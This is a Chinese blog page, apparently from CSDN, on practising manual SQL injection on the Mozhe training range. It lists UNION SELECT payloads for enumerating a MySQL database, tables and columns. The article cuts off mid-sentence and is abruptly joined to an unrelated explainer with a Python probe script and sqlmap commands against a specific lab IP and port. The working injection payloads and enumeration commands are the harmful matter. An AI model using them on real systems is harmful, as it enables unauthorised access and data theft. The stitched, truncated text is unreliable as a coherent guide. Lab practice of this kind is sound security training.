数据库注入漏洞线上靶场练习(mozhe)

本文介绍了在线靶场中的数据库手工注入练习,涉及MySQL、Access、SQLServer和SQLite四种数据库。通过单引号、ORDER BY、UNION SELECT等方法判断字段长度、显示数据库和表名、获取数据,最终解密MD5密码并提交FLAG。强调了不同数据库的特性及应对策略,如Access的联合查询限制和SQLServer的特殊语法。

今天练习了墨者的线上数据库漏洞手工注入(别问为什么,问就是简单,我可以做)。注:没有钱所以只做了几个,有钱的可以全部做完。

在你们去练习的前面我需要普及一些关于数据库的知识:第一点 数据库分为关系数据库和非关系数据库,两者代表(在我的印象里面的代表)关系型.Oracle,mysql,sqlserver,Access 非关系.MongoDB。两者的主要区别就是:https://blog.youkuaiyun.com/aaronthon/article/details/81714528。

练习的类型是关系型,非关系需要币。关系型的MySQL,SqlServer,Access,SQLite。

(漏洞在公告链接)

MySQL是最常见的数据库,一:通常使用单引号,and 1=1,1=2,来判断漏洞。(不要用常规的'来隔断)

二·:接着使用order by 判断字段长度(4)

三:接着使用联合查询 and 1=2 union select 1,2,3,4 来判断第几位可以显示(2,3)

四:接着使用 and 1=2 union select 1,database(),3,4 显示数据库名称(mozhe_Discuz_StormGroup)

五:接着使用联合查询 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' 显示表名(StormGroup_member,notice:应该是第一个)。

六:接着使用and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' 显示列名(id,name,password,status)显然用

查找网页上SQL注入漏洞的方法有手动检测和工具检测两种: ### 手动检测 - **基本原理判断**:SQL注入攻击利用应用程序未对用户输入充分验证和过滤,直接将用户输入拼接到SQL查询语句中,攻击者构造恶意输入改变SQL查询逻辑,执行非授权操作[^2]。 - **输入特殊字符测试**:在网页的输入框、URL参数等位置,输入单引号 `'`、双引号 `"` 等特殊字符。若网页返回与SQL相关的错误信息,可能存在注入漏洞。如在URL的参数后添加单引号,像 `http://example.com/search.php?id=1'`,若页面报错提示SQL错误,则有注入可能。 ```python import requests url = "http://example.com/search.php" payloads = ["'", "\""] for payload in payloads: data = {"input": payload} response = requests.post(url, data=data) if "SQL" in response.text: print(f"可能存在注入漏洞,尝试的Payload: {payload}") ``` - **利用逻辑判断**:通过构造一些简单的逻辑判断Payload,如在URL参数后添加 `' OR '1'='1`,如果页面显示与正常输入不同的结果,可能存在注入漏洞。 ### 工具检测 - **SQLMap**:一款强大的自动化SQL注入工具。可使用它对网页进行全面的注入检测,还能获取数据库信息。例如,要检测 `http://219.153.49.228:49627/new_list.php?id=1` 这个URL是否存在注入漏洞并获取数据库信息,可使用以下命令: ```bash sqlmap.py -u http://219.153.49.228:49627/new_list.php?id=1 --dbs ``` 上述命令用于发现可注入数据库。若要列出指定数据库中的所有表,可使用: ```bash sqlmap.py -u http://219.153.49.228:49627/new_list.php?id=1 -D mozhe_Discuz_StormGroup --tables ``` 要列出指定数据库和表中的所有字段,可使用: ```bash sqlmap.py -u http://219.153.49.228:49627/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T notice --columns ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值